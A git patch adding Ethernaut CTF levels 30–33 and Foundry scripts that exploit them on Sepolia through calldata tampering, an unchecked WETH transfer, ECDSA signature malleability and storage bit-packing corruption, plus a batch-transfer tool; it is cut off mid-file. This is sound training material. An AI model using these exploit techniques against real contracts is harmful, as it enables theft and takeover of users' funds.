From 4e398a7f40ed9e701d138d11bc0ebdd7b998f89b Mon Sep 17 00:00:00 2001 From: Boris Date: Fri, 27 Dec 2024 22:55:05 +0800 Subject: [PATCH] Update ethernaut level --- .gitignore | 4 +- .vscode/settings.json | 6 +- contracts/CTF/Ethernaut/30_HigherOrder.sol | 19 +++ contracts/CTF/Ethernaut/31_Stake.sol | 72 +++++++++ contracts/CTF/Ethernaut/32_Impersonator.sol | 152 ++++++++++++++++++ .../CTF/Ethernaut/33_MagicAnimalCarousel.sol | 73 +++++++++ contracts/Tool/.gitkeep | 0 contracts/Tool/Batch/BatchTransfer.sol | 35 ++++ .../script/CTF/Ethernaut/00_Ethernaut.s.sol | 12 +- .../script/CTF/Ethernaut/30_HigherOrder.s.sol | 65 ++++++++ foundry/script/CTF/Ethernaut/31_Stake.s.sol | 44 +++++ .../CTF/Ethernaut/32_Impersonator.s.sol | 78 +++++++++ .../Ethernaut/33_MagicAnimalCarousel.s.sol | 39 +++++ foundry/test/Tool/.gitkeep | 0 foundry/test/Tool/Batch/BatchTransfer.t.sol | 55 +++++++ package.json | 47 +++--- ts/Tool/Batch/BatchTransferEvm.ts | 15 ++ ts/abi/BatchTransferEvm.json | 48 ++++++ ts/demo.ts | 20 +++ tsconfig.build.json | 4 + tsconfig.json | 21 +++ 21 files changed, 776 insertions(+), 33 deletions(-) create mode 100644 contracts/CTF/Ethernaut/30_HigherOrder.sol create mode 100644 contracts/CTF/Ethernaut/31_Stake.sol create mode 100644 contracts/CTF/Ethernaut/32_Impersonator.sol create mode 100644 contracts/CTF/Ethernaut/33_MagicAnimalCarousel.sol create mode 100644 contracts/Tool/.gitkeep create mode 100644 contracts/Tool/Batch/BatchTransfer.sol create mode 100644 foundry/script/CTF/Ethernaut/30_HigherOrder.s.sol create mode 100644 foundry/script/CTF/Ethernaut/31_Stake.s.sol create mode 100644 foundry/script/CTF/Ethernaut/32_Impersonator.s.sol create mode 100644 foundry/script/CTF/Ethernaut/33_MagicAnimalCarousel.s.sol create mode 100644 foundry/test/Tool/.gitkeep create mode 100644 foundry/test/Tool/Batch/BatchTransfer.t.sol create mode 100644 ts/Tool/Batch/BatchTransferEvm.ts create mode 100644 ts/abi/BatchTransferEvm.json create mode 100644 ts/demo.ts create mode 100644 tsconfig.build.json create mode 100644 tsconfig.json diff --git a/.gitignore b/.gitignore index 75c302a..2a2fab5 100644 --- a/.gitignore +++ b/.gitignore @@ -13,5 +13,5 @@ foundry/broadcast .pnp.* lcov.info yarn.lock - - +build +.idea diff --git a/.vscode/settings.json b/.vscode/settings.json index 2342a40..11ae4e3 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -9,10 +9,6 @@ "modules": true }, "npm.exclude": "/foundry/**/lib/**", - // "solidity.formatter": "prettier", "solidity.formatter": "forge", - "solidity.packageDefaultDependenciesContractsDirectory": "contracts", - "solidity.packageDefaultDependenciesDirectory": "modules" - // "editor.defaultFormatter": "esbenp.prettier-vscode", - // "editor.formatOnSave": true + "editor.formatOnSave": true } diff --git a/contracts/CTF/Ethernaut/30_HigherOrder.sol b/contracts/CTF/Ethernaut/30_HigherOrder.sol new file mode 100644 index 0000000..6135525 --- /dev/null +++ b/contracts/CTF/Ethernaut/30_HigherOrder.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract HigherOrder { + address public commander; + + uint256 public treasury; + + function registerTreasury(uint8 treasury_slot) public { + assembly { + sstore(treasury_slot, calldataload(4)) + } + } + + function claimLeadership() public { + if (treasury > 255) commander = msg.sender; + else revert("Only members of the Higher Order can become Commander"); + } +} diff --git a/contracts/CTF/Ethernaut/31_Stake.sol b/contracts/CTF/Ethernaut/31_Stake.sol new file mode 100644 index 0000000..fe4f724 --- /dev/null +++ b/contracts/CTF/Ethernaut/31_Stake.sol @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import { Level } from "./00_Ethernaut.sol"; + +contract Stake { + uint256 public totalStaked; + mapping(address => uint256) public UserStake; + mapping(address => bool) public Stakers; + address public WETH; + + constructor(address _weth) payable { + totalStaked += msg.value; + WETH = _weth; + } + + function StakeETH() public payable { + require(msg.value > 0.001 ether, "Don't be cheap"); + totalStaked += msg.value; + UserStake[msg.sender] += msg.value; + Stakers[msg.sender] = true; + } + + function StakeWETH(uint256 amount) public returns (bool) { + require(amount > 0.001 ether, "Don't be cheap"); + (, bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this))); + require(bytesToUint(allowance) >= amount, "How am I moving the funds honey?"); + totalStaked += amount; + UserStake[msg.sender] += amount; + (bool transfered,) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), amount)); + Stakers[msg.sender] = true; + return transfered; + } + + function Unstake(uint256 amount) public returns (bool) { + require(UserStake[msg.sender] >= amount, "Don't be greedy"); + UserStake[msg.sender] -= amount; + totalStaked -= amount; + (bool success,) = payable(msg.sender).call{ value: amount }(""); + return success; + } + + function bytesToUint(bytes memory data) internal pure returns (uint256) { + require(data.length >= 32, "Data length must be at least 32 bytes"); + uint256 result; + assembly { + result := mload(add(data, 0x20)) + } + return result; + } +} + +contract StakeFactory is Level { + address _dweth = address(0); + + function createInstance(address) public payable override returns (address) { + return address(new Stake(address(_dweth))); + } + + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + Stake instance = Stake(_instance); + return _instance.balance != 0 && instance.totalStaked() > _instance.balance && instance.UserStake(_player) == 0 + && instance.Stakers(_player); + } +} + +contract StakeHack { + function attack(Stake _target) public payable { + _target.StakeETH{ value: msg.value }(); + } +} diff --git a/contracts/CTF/Ethernaut/32_Impersonator.sol b/contracts/CTF/Ethernaut/32_Impersonator.sol new file mode 100644 index 0000000..380c7bb --- /dev/null +++ b/contracts/CTF/Ethernaut/32_Impersonator.sol @@ -0,0 +1,152 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +import { Ownable } from "@openzeppelin/contracts-v4.7.3/access/Ownable.sol"; +import { Level } from "./00_Ethernaut.sol"; + +// SlockDotIt ECLocker factory +contract Impersonator is Ownable { + uint256 public lockCounter; + ECLocker[] public lockers; + + event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature); + + constructor(uint256 _lockCounter) { + lockCounter = _lockCounter; + } + + function deployNewLock(bytes memory signature) public onlyOwner { + // Deploy a new lock + ECLocker newLock = new ECLocker(++lockCounter, signature); + lockers.push(newLock); + emit NewLock(address(newLock), lockCounter, block.timestamp, signature); + } +} + +contract ECLocker { + uint256 public immutable lockId; + bytes32 public immutable msgHash; + address public controller; + mapping(bytes32 => bool) public usedSignatures; + + event LockInitializated(address indexed initialController, uint256 timestamp); + event Open(address indexed opener, uint256 timestamp); + event ControllerChanged(address indexed newController, uint256 timestamp); + + error InvalidController(); + error SignatureAlreadyUsed(); + + /// @notice Initializes the contract the lock + /// @param _lockId uinique lock id set by SlockDotIt's factory + /// @param _signature the signature of the initial controller + constructor(uint256 _lockId, bytes memory _signature) { + // Set lockId + lockId = _lockId; + + // Compute msgHash + bytes32 _msgHash; + assembly { + mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes + mstore(0x1C, _lockId) // 32 bytes + _msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes + } + msgHash = _msgHash; + + // Recover the initial controller from the signature + address initialController = address(1); + assembly { + let ptr := mload(0x40) + mstore(ptr, _msgHash) // 32 bytes + mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v + mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r + mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s + pop( + staticcall( + gas(), // Amount of gas left for the transaction. + initialController, // Address of `ecrecover`. + ptr, // Start of input. + 0x80, // Size of input. + 0x00, // Start of output. + 0x20 // Size of output. + ) + ) + if iszero(returndatasize()) { + mstore(0x00, 0x8baa579f) // `InvalidSignature()`. + revert(0x1c, 0x04) + } + initialController := mload(0x00) + mstore(0x40, add(ptr, 128)) + } + + // Invalidate signature + usedSignatures[keccak256(_signature)] = true; + + // Set the controller + controller = initialController; + + // emit LockInitializated + emit LockInitializated(initialController, block.timestamp); + } + + /// @notice Opens the lock + /// @dev Emits Open event + /// @param v the recovery id + /// @param r the r value of the signature + /// @param s the s value of the signature + function open(uint8 v, bytes32 r, bytes32 s) external { + address add = _isValidSignature(v, r, s); + emit Open(add, block.timestamp); + } + + /// @notice Changes the controller of the lock + /// @dev Updates the controller storage variable + /// @dev Emits ControllerChanged event + /// @param v the recovery id + /// @param r the r value of the signature + /// @param s the s value of the signature + /// @param newController the new controller address + function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external { + _isValidSignature(v, r, s); + controller = newController; + emit ControllerChanged(newController, block.timestamp); + } + + function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) { + address _address = ecrecover(msgHash, v, r, s); + require(_address == controller, InvalidController()); + + bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)])); + require(!usedSignatures[signatureHash], SignatureAlreadyUsed()); + + usedSignatures[signatureHash] = true; + + return _address; + } +} + +contract ImpersonatorFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Impersonator impersonator = new Impersonator(1336); + bytes memory signature = abi.encode( + [ + uint256( + 11_397_568_185_806_560_130_291_530_949_248_708_355_673_262_872_727_946_990_834_312_389_557_386_886_033 + ), + uint256( + 54_405_834_204_020_870_944_342_294_544_757_609_285_398_723_182_661_749_830_189_277_079_337_680_158_706 + ), + uint256(27) + ] + ); + impersonator.deployNewLock(signature); + return address(impersonator); + } + + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + _player; + Impersonator instance = Impersonator(_instance); + ECLocker locker = instance.lockers(0); + return locker.controller() == address(0); + } +} diff --git a/contracts/CTF/Ethernaut/33_MagicAnimalCarousel.sol b/contracts/CTF/Ethernaut/33_MagicAnimalCarousel.sol new file mode 100644 index 0000000..d1624f9 --- /dev/null +++ b/contracts/CTF/Ethernaut/33_MagicAnimalCarousel.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +import { Level } from "./00_Ethernaut.sol"; + +contract MagicAnimalCarousel { + uint16 public constant MAX_CAPACITY = type(uint16).max; + uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16; + uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160; + uint256 constant OWNER_MASK = uint256(type(uint160).max); + + uint256 public currentCrateId; + mapping(uint256 crateId => uint256 animalInside) public carousel; + + error AnimalNameTooLong(); + + constructor() { + carousel[0] ^= 1 << 160; + } + + function setAnimalAndSpin(string calldata animal) external { + uint256 encodedAnimal = encodeAnimalName(animal) >> 16; + uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160; + + require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong()); + carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16) + | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender); + + currentCrateId = nextCrateId; + } + + function changeAnimal(string calldata animal, uint256 crateId) external { + address owner = address(uint160(carousel[crateId] & OWNER_MASK)); + if (owner != address(0)) { + require(msg.sender == owner); + } + uint256 encodedAnimal = encodeAnimalName(animal); + if (encodedAnimal != 0) { + // Replace animal + carousel[crateId] = (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); + } else { + // If no animal specified keep same animal but clear owner slot + carousel[crateId] = (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK)); + } + } + + function encodeAnimalName(string calldata animalName) public pure returns (uint256) { + require(bytes(animalName).length <= 12, AnimalNameTooLong()); + return uint256(bytes32(abi.encodePacked(animalName)) >> 160); + } +} + +contract MagicAnimalCarouselFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + MagicAnimalCarousel magicAnimalCarousel = new MagicAnimalCarousel(); + return address(magicAnimalCarousel); + } + + function validateInstance(address payable _instance, address _player) public override returns (bool) { + _player; + MagicAnimalCarousel instance = MagicAnimalCarousel(_instance); + // Store a goat in the box + string memory goat = "Goat"; + instance.setAnimalAndSpin(goat); + + // Goat should be mutated + uint256 currentCrateId = instance.currentCrateId(); + uint256 animalInBox = instance.carousel(currentCrateId) >> 176; + uint256 goatEnc = uint256(bytes32(abi.encodePacked(goat))) >> 176; + return animalInBox != goatEnc; + } +} diff --git a/contracts/Tool/.gitkeep b/contracts/Tool/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/contracts/Tool/Batch/BatchTransfer.sol b/contracts/Tool/Batch/BatchTransfer.sol new file mode 100644 index 0000000..0d161b9 --- /dev/null +++ b/contracts/Tool/Batch/BatchTransfer.sol @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +contract BatchTransfer { + function BatchTransferERC20( + ERC20 token, + address[] calldata toAddressList, + uint256[] calldata toAmountList + ) + external + { + require(toAddressList.length == toAmountList.length, "Params not match"); + for (uint256 idx = 0; idx < toAddressList.length; idx++) { + require( + token.transferFrom(msg.sender, toAddressList[idx], toAmountList[idx]), "Transfer ERC20 Token Failed" + ); + } + } + + function BatchTransferERC721( + ERC721 token, + address[] calldata toAddressList, + uint256[] calldata toTokenIDList + ) + external + { + require(toAddressList.length == toTokenIDList.length, "Params not match"); + for (uint256 idx = 0; idx < toAddressList.length; idx++) { + token.transferFrom(msg.sender, toAddressList[idx], toTokenIDList[idx]); + } + } +} diff --git a/foundry/script/CTF/Ethernaut/00_Ethernaut.s.sol b/foundry/script/CTF/Ethernaut/00_Ethernaut.s.sol index fe3e338..ed9ae45 100644 --- a/foundry/script/CTF/Ethernaut/00_Ethernaut.s.sol +++ b/foundry/script/CTF/Ethernaut/00_Ethernaut.s.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity >=0.8.0 <=0.9.0; +pragma solidity >=0.8.25 <0.9.0; import { Script } from "@dev/forge-std/Script.sol"; @@ -12,10 +12,10 @@ abstract contract EthernautScript is Script { /// @dev The address of the transaction broadcaster. address internal broadcaster; + address internal player; /// @dev Used to derive the broadcaster's address if $ETH_FROM is not defined. string internal mnemonic; - uint256 internal mnemonicAccountIndex; /// @dev Initializes the transaction broadcaster like this: /// @@ -30,14 +30,14 @@ abstract contract EthernautScript is Script { broadcaster = from; } else { mnemonic = vm.envOr({ name: "MNEMONIC_DEV", defaultValue: TEST_MNEMONIC }); - mnemonicAccountIndex = vm.envOr({ name: "MNEMONIC_ACCOUNT_INDEX", defaultValue: uint256(0) }); - // uint256 privateKey = vm.deriveKey(mnemonic, uint32(mnemonicAccountIndex)); - broadcaster = vm.addr(vm.deriveKey(mnemonic, uint32(mnemonicAccountIndex))); + uint256 privateKey = vm.deriveKey(mnemonic, "m/44'/60'/0'/0", 0); + broadcaster = vm.rememberKey(privateKey); } + player = broadcaster; } modifier broadcast() { - vm.startBroadcast(0x7Dd8A1d5C63DB4fDF4C1A303566601158B6EbBA6); + vm.startBroadcast(broadcaster); _; vm.stopBroadcast(); } diff --git a/foundry/script/CTF/Ethernaut/30_HigherOrder.s.sol b/foundry/script/CTF/Ethernaut/30_HigherOrder.s.sol new file mode 100644 index 0000000..047388f --- /dev/null +++ b/foundry/script/CTF/Ethernaut/30_HigherOrder.s.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity >=0.8.0 <=0.9.0; + +import { console } from "@dev/forge-std/console.sol"; +import { EthernautScript } from "./00_Ethernaut.s.sol"; +import { HigherOrder } from "@contracts/CTF/Ethernaut/30_HigherOrder.sol"; +/* +forge script \ + foundry/script/CTF/Ethernaut/30_HigherOrder.s.sol:HigherOrderAttack \ + -f sepolia -vvvv \ + --broadcast + + +forge debug \ + foundry/script/CTF/Ethernaut/30_HigherOrder.s.sol:HigherOrderAttack \ + -f sepolia -vvvv \ + --broadcast + +cast storage -r sepolia 0xdafE5Fd62b37Ad7739669bbc38300505309c388E 0 +cast storage -r sepolia 0xdafE5Fd62b37Ad7739669bbc38300505309c388E 1 +cast storage -r sepolia 0xdafE5Fd62b37Ad7739669bbc38300505309c388E 2 + + +https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html +https://www.evm.codes/ +https://docs.soliditylang.org/en/latest/internals/layout_in_calldata.html +https://info.etherscan.com/understanding-transaction-input-data/ +https://docs.soliditylang.org/en/latest/abi-spec.html#abi + + +*/ + +contract HigherOrderAttack is EthernautScript { + HigherOrder private victimInst; + + function run() public broadcast { + // 1.Setup + console.log("HigherOrder Before Attack player:", broadcaster); + victimInst = HigherOrder(0xC1488997Cb4E24e212eC954D3f65725052539dcb); + console.log("HigherOrder Before Attack commander:", victimInst.commander()); + console.log("HigherOrder Before Attack treasury:", victimInst.treasury()); + + // 2.Attack + // ... + // uint8.max = 255 + + // victimInst.registerTreasury(256); // can't run + + // Solution 1 + // bytes memory data = abi.encodeWithSignature("registerTreasury(uint8)", 256); + + // Solution 2 + bytes memory data = abi.encodeWithSignature("registerTreasury(uint8)", 0); + data[34] = hex"01"; + + (bool response,) = address(victimInst).call(data); + console.log("HigherOrder Proccess Attack status:", response); + victimInst.claimLeadership(); + + // 3Check + // ... + console.log("HigherOrder After Attack commander:", victimInst.commander()); + console.log("HigherOrder After Attack treasury:", victimInst.treasury()); + } +} diff --git a/foundry/script/CTF/Ethernaut/31_Stake.s.sol b/foundry/script/CTF/Ethernaut/31_Stake.s.sol new file mode 100644 index 0000000..c34422e --- /dev/null +++ b/foundry/script/CTF/Ethernaut/31_Stake.s.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity >=0.8.0 <=0.9.0; + +import { console } from "@dev/forge-std/console.sol"; +import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import { EthernautScript } from "./00_Ethernaut.s.sol"; +import { Stake, StakeHack } from "contracts/CTF/Ethernaut/31_Stake.sol"; +/* +forge script \ + foundry/script/CTF/Ethernaut/31_Stake.s.sol:StakeAttack \ + -f sepolia -vvvv \ + --broadcast +*/ + +contract StakeAttack is EthernautScript { + Stake private victimInst; + + function run() public broadcast { + // 1.Setup + console.log("HigherOrder Before Attack player:", player); + console.log("HigherOrder Before Attack player Balance:", player.balance); + victimInst = Stake(0x34396E961Bd26257D4960687f6d27194c8da7744); + + // 2.Attack + // ... + StakeHack hackInst = new StakeHack(); + hackInst.attack{ value: 0.001 ether + 2 }(victimInst); + ERC20 weth = ERC20(victimInst.WETH()); + weth.approve(address(victimInst), type(uint256).max); + victimInst.StakeWETH(0.001 ether + 1); + victimInst.Unstake(0.001 ether + 1); + + // 3Check + // ... + console.log("Check Balance", address(victimInst).balance, victimInst.totalStaked()); + console.log("Check UserStake", victimInst.UserStake(player)); + console.log("Check Stakers", victimInst.Stakers(player)); + console.log( + "Check Result", + address(victimInst).balance != 0 && victimInst.totalStaked() > address(victimInst).balance + && victimInst.UserStake(player) == 0 && victimInst.Stakers(player) + ); + } +} diff --git a/foundry/script/CTF/Ethernaut/32_Impersonator.s.sol b/foundry/script/CTF/Ethernaut/32_Impersonator.s.sol new file mode 100644 index 0000000..d193009 --- /dev/null +++ b/foundry/script/CTF/Ethernaut/32_Impersonator.s.sol @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity >=0.8.0 <=0.9.0; + +import { console } from "@dev/forge-std/console.sol"; +import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import { EthernautScript } from "./00_Ethernaut.s.sol"; +import { Impersonator, ECLocker } from "contracts/CTF/Ethernaut/32_Impersonator.sol"; +/* +forge script \ + foundry/script/CTF/Ethernaut/32_Impersonator.s.sol:ImpersonatorAttack \ + -f sepolia -vvvv \ + --broadcast + +https://eips.ethereum.org/EIPS/eip-191 +https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm +https://en.bitcoin.it/wiki/Secp256k1 +https://cryptobook.nakov.com/digital-signatures/ecdsa-sign-verify-messages + +https://app.blocksec.com/explorer/tx/sepolia/0x241bb7c02bb3458fdc8c527d7e1f09ac9fdfc56c46aaa0b57c37ab105b321fe7?line=6 +https://dashboard.tenderly.co/tx/sepolia/0x241bb7c02bb3458fdc8c527d7e1f09ac9fdfc56c46aaa0b57c37ab105b321fe7?trace=0.7.2.8 + + +cast to-dec 0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91 +cast to-dec 0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2 +cast to-dec 0x0cdccf90769e3a4ec77cb11a07f213e0ab1889d8821b903c08351e0ecd486a32 +cast to-dec 1b +cast to-int256 115_792_089_237_316_195_423_570_985_008_687_907_852_837_564_279_074_904_382_605_163_141_518_161_494_337 + +cast abi-encode "(string,uint256)" "(1,1)" + + + +deployed signature + +v = 27 +r = 11397568185806560130291530949248708355673262872727946990834312389557386886033 +s = 54405834204020870944342294544757609285398723182661749830189277079337680158706 + + + +*/ + +contract ImpersonatorAttack is EthernautScript { + Impersonator private victimInst; + + function run() public broadcast { + // 1.Setup + console.log("Impersonator Before Attack player:", player); + victimInst = Impersonator(0x7dCeaF88F7369D9f7D026988a34713358df0578a); + ECLocker locker = victimInst.lockers(0); + console.log("Impersonator Before Attack locker.controller():", locker.controller()); + // 2.Attack + // ... + bytes32 r = bytes32( + uint256( + 11_397_568_185_806_560_130_291_530_949_248_708_355_673_262_872_727_946_990_834_312_389_557_386_886_033 + ) + ); + bytes32 s = bytes32( + uint256( + 54_405_834_204_020_870_944_342_294_544_757_609_285_398_723_182_661_749_830_189_277_079_337_680_158_706 + ) + ); + + // Fp https://en.bitcoin.it/wiki/Secp256k1 + uint256 secp256k1_n = + 115_792_089_237_316_195_423_570_985_008_687_907_852_837_564_279_074_904_382_605_163_141_518_161_494_337; + // console.log(secp256k1_n); + // 115792089237316195423570985008687907852837564279074904382605163141518161494337 + // 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 + bytes32 tricked_s = bytes32(secp256k1_n - uint256(s)); + locker.changeController(28, r, tricked_s, address(0)); + locker.open(0, 0, 0); + // 3Check + // ... + console.log("Impersonator Before Attack locker.controller():", locker.controller()); + } +} diff --git a/foundry/script/CTF/Ethernaut/33_MagicAnimalCarousel.s.sol b/foundry/script/CTF/Ethernaut/33_MagicAnimalCarousel.s.sol new file mode 100644 index 0000000..160209e --- /dev/null +++ b/foundry/script/CTF/Ethernaut/33_MagicAnimalCarousel.s.sol @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity >=0.8.0 <=0.9.0; + +import { console } from "@dev/forge-std/console.sol"; +import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import { EthernautScript } from "./00_Ethernaut.s.sol"; +import { MagicAnimalCarousel } from "contracts/CTF/Ethernaut/33_MagicAnimalCarousel.sol"; +/* +forge script \ + foundry/script/CTF/Ethernaut/33_MagicAnimalCarousel.s.sol:MagicAnimalCarouselAttack \ + -f sepolia -vvvv \ + --broadcast + +https://docs.soliditylang.org/en/latest/types.html +https://medium.com/@ynyesto/ethernaut-33-magical-animal-carousel-3aff78fe67be + +*/ + +contract MagicAnimalCarouselAttack is EthernautScript { + MagicAnimalCarousel private victimInst; + + function run() public broadcast { + // 1.Setup + console.log("MagicAnimalCarousel Before Attack player:", player); + victimInst = MagicAnimalCarousel(0x998991Fde3F0D8741d13639a99DE318558C2E86d); + console.log("Before Attack victimInst.currentCrateId():", victimInst.currentCrateId()); + // 2.Attack + // ... + // nextCrateId = currentCrateId + victimInst.setAnimalAndSpin("Dog"); + string memory animal = string(abi.encodePacked(hex"10000000000000000000ffff")); + victimInst.changeAnimal(animal, 1); + victimInst.setAnimalAndSpin("Parrot"); + + // 3Check + // ... + console.log("After Attack victimInst.currentCrateId():", victimInst.currentCrateId()); + } +} diff --git a/foundry/test/Tool/.gitkeep b/foundry/test/Tool/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/foundry/test/Tool/Batch/BatchTransfer.t.sol b/foundry/test/Tool/Batch/BatchTransfer.t.sol new file mode 100644 index 0000000..96eab04 --- /dev/null +++ b/foundry/test/Tool/Batch/BatchTransfer.t.sol @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/Test.sol"; +import { console } from "@dev/forge-std/console.sol"; + +import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; +import { BatchTransfer } from "@contracts/Tool/Batch/BatchTransfer.sol"; +/* + forge test -r http://localhost:8545 --match-path foundry/test/Tool/Batch/BatchTransfer.t.sol -vvvv +*/ + +contract TestERC20Token is ERC20 { + constructor() ERC20("MyToken", "MTK") { + _mint(msg.sender, 1000 ether); + } +} + +contract FallbackTest is Test { + // hacking attack address + address private admin = address(2333); + address private player1 = address(1); + address private player2 = address(2); + ERC20 private erc20Token; + ERC721 private erc721Token; + BatchTransfer private batchTransferInst = new BatchTransfer(); + + function setUp() public { + vm.startPrank(admin); + vm.deal(admin, 10 ether); + erc20Token = new TestERC20Token(); + erc20Token.transfer(player1, 999 ether); + } + + function test_ERC20_BatchTransfer() public { + vm.startPrank(player1); + erc20Token.approve(address(batchTransferInst), UINT256_MAX); + + uint256[] memory toAmountList = new uint256[](2); + address[] memory toAddressList = new address[](2); + toAmountList[0] = uint256(1); + toAmountList[1] = uint256(1); + toAddressList[0] = address(11); + toAddressList[1] = address(12); + + batchTransferInst.BatchTransferERC20(erc20Token, toAddressList, toAmountList); + + _after(); + } + + function _after() public { + vm.stopPrank(); + } +} diff --git a/package.json b/package.json index 107c896..190379f 100644 --- a/package.json +++ b/package.json @@ -2,6 +2,7 @@ "name": "@6boris/awesome-web3-contracts", "description": "", "version": "0.0.1", + "private": true, "author": { "name": "6boris", "url": "https://github.com/6boris" @@ -15,26 +16,6 @@ "solidity", "template" ], - "dependencies": { - "@uniswap/v2-core": "^1.0.1", - "@uniswap/v2-periphery": "^1.1.0-beta.0", - "@uniswap/v3-core": "^1.0.1", - "@uniswap/v3-periphery": "^1.4.4", - "solmate": "^6.8.0", - "solady": "^0.0.278", - "@prb/test": "^0.6.4", - "@aave/core-v3": "^1.19.3", - "@openzeppelin/contracts-upgradeable": "^5.1.0", - "@gnosis.pm/safe-contracts": "^1.3.0", - "@openzeppelin/contracts": "^5.1.0", - "prettier": "^3.4.2", - "solhint": "^5.0.3", - "forge-std": "github:foundry-rs/forge-std#v1.9.4", - "@openzeppelin/contracts-v4.7.1": "github:OpenZeppelin/openzeppelin-contracts#v4.7.1", - "@openzeppelin/contracts-v4.7.3": "github:OpenZeppelin/openzeppelin-contracts#v4.7.3", - "@openzeppelin/contracts-upgradeable-v4.7.1": "github:OpenZeppelin/openzeppelin-contracts-upgradeable#v4.7.1" - }, - "private": true, "scripts": { "clean": "rm -rf cache out", "build": "forge build", @@ -45,5 +26,31 @@ "test": "forge test", "test:coverage": "forge coverage", "test:coverage:report": "forge coverage --report lcov && genhtml lcov.info --branch-coverage --output-dir coverage" + }, + "dependencies": { + "@aave/core-v3": "^1.19.3", + "@gnosis.pm/safe-contracts": "^1.3.0", + "@openzeppelin/contracts": "^5.1.0", + "@openzeppelin/contracts-upgradeable": "^5.1.0", + "@openzeppelin/contracts-upgradeable-v4.7.1": "github:OpenZeppelin/openzeppelin-contracts-upgradeable#v4.7.1", + "@openzeppelin/contracts-v4.7.1": "github:OpenZeppelin/openzeppelin-contracts#v4.7.1", + "@openzeppelin/contracts-v4.7.3": "github:OpenZeppelin/openzeppelin-contracts#v4.7.3", + "@prb/test": "^0.6.4", + "@uniswap/v2-core": "^1.0.1", + "@uniswap/v2-periphery": "^1.1.0-beta.0", + "@uniswap/v3-core": "^1.0.1", + "@uniswap/v3-periphery": "^1.4.4", + "bignumber.js": "^9.1.2", + "dayjs": "^1.11.13", + "ethers": "^6.13.4", + "forge-std": "github:foundry-rs/forge-std#v1.9.4", + "prettier": "^3.4.2", + "solady": "^0.0.282", + "solhint": "^5.0.3", + "solmate": "^6.8.0", + "ts-node": "^10.9.2", + "typescript": "^5.7.2", + "typescript-eslint": "^8.18.1", + "web3": "^4.16.0" } } diff --git a/ts/Tool/Batch/BatchTransferEvm.ts b/ts/Tool/Batch/BatchTransferEvm.ts new file mode 100644 index 0000000..a685395 --- /dev/null +++ b/ts/Tool/Batch/BatchTransferEvm.ts @@ -0,0 +1,15 @@ +import { Web3, utils, Address } from "web3"; +import BigNumber from "bignumber.js"; + +const client = new Web3("https://eth.llamarpc.com"); + +async function GetNativeBalance(address: Address) { + const calResp = await client.eth.getBalance(address); + return new BigNumber(utils.fromWei(calResp, "wei")).div(1e18).toString(); +} +async function GetERC20Balance(address: Address) { + const calResp = await client.eth.getBalance(address); + return new BigNumber(utils.fromWei(calResp, "wei")).div(1e18).toString(); +} + +GetNativeBalance("0xafca650fdaa8b6611c9cd71202cf010d33e4e999").then(console.log); diff --git a/ts/abi/BatchTransferEvm.json b/ts/abi/BatchTransferEvm.json new file mode 100644 index 0000000..7151874 --- /dev/null +++ b/ts/abi/BatchTransferEvm.json @@ -0,0 +1,48 @@ +[ + { + "type": "function", + 